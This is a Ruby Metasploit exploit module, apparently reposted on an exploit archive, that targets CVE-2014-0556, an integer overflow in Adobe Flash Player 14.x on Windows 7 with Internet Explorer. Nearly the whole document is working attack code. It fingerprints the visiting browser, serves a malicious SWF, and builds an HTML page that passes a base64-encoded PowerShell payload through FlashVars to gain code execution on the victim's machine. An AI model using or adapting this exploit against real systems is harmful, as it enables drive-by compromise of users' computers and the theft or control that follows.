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Adobe Flash Player copyPixelsToByteArray Integer Overflow

Posted on 20 April 2015

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = NormalRanking

 include Msf::Exploit::Powershell
 include Msf::Exploit::Remote::BrowserExploitServer

 def initialize(info={})
 super(update_info(info,
 'Name' => 'Adobe Flash Player copyPixelsToByteArray Integer Overflow',
 'Description' => %q{
 This module exploits an integer overflow in Adobe Flash Player. The vulnerability occurs
 in the copyPixelsToByteArray method from the BitmapData object. The position field of the
 destination ByteArray can be used to cause an integer overflow and write contents out of
 the ByteArray buffer. This module has been tested successfully on Windows 7 SP1 (32-bit),
 IE 8 to IE 11 and Flash 14.0.0.176, 14.0.0.145 and 14.0.0.125.
 },
 'License' => MSF_LICENSE,
 'Author' =>
 [
 'Chris Evans', # Vulnerability discovery and 64 bit analysis / exploit
 'Nicolas Joly', # Trigger for 32 bit, according to the project zero ticket
 'hdarwin', # @hdarwin89, 32 bit public exploit, this msf module uses it
 'juan vazquez' # msf module
 ],
 'References' =>
 [
 ['CVE', '2014-0556'],
 ['URL', 'http://googleprojectzero.blogspot.com/2014/09/exploiting-cve-2014-0556-in-flash.html'],
 ['URL', 'https://code.google.com/p/google-security-research/issues/detail?id=46'],
 ['URL', 'http://hacklab.kr/cve-2014-0556-%EB%B6%84%EC%84%9D/'],
 ['URL', 'http://malware.dontneedcoffee.com/2014/10/cve-2014-0556-adobe-flash-player.html'],
 ['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb14-21.html']
 ],
 'Payload' =>
 {
 'DisableNops' => true
 },
 'Platform' => 'win',
 'BrowserRequirements' =>
 {
 :source => /script|headers/i,
 :os_name => OperatingSystems::Match::WINDOWS_7,
 :ua_name => Msf::HttpClients::IE,
 :flash => lambda { |ver| ver =~ /^14./ && Gem::Version.new(ver) <= Gem::Version.new('14.0.0.176') },
 :arch => ARCH_X86
 },
 'Targets' =>
 [
 [ 'Automatic', {} ]
 ],
 'Privileged' => false,
 'DisclosureDate' => 'Sep 23 2014',
 'DefaultTarget' => 0))
 end

 def exploit
 @swf = create_swf
 super
 end

 def on_request_exploit(cli, request, target_info)
 print_status("Request: #{request.uri}")

 if request.uri =~ /.swf$/
 print_status('Sending SWF...')
 send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
 return
 end

 print_status('Sending HTML...')
 send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
 end

 def exploit_template(cli, target_info)
 swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
 target_payload = get_payload(cli, target_info)
 psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
 b64_payload = Rex::Text.encode_base64(psh_payload)

 html_template = %Q|<html>
 <body>
 <object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
 <param name="movie" value="<%=swf_random%>" />
 <param name="allowScriptAccess" value="always" />
 <param name="FlashVars" value="sh=<%=b64_payload%>" />
 <param name="Play" value="true" />
 <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/>
 </object>
 </body>
 </html>
 |

 return html_template, binding()
 end

 def create_swf
 path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2014-0556', 'msf.swf')
 swf = ::File.open(path, 'rb') { |f| swf = f.read }

 swf
 end

end

 

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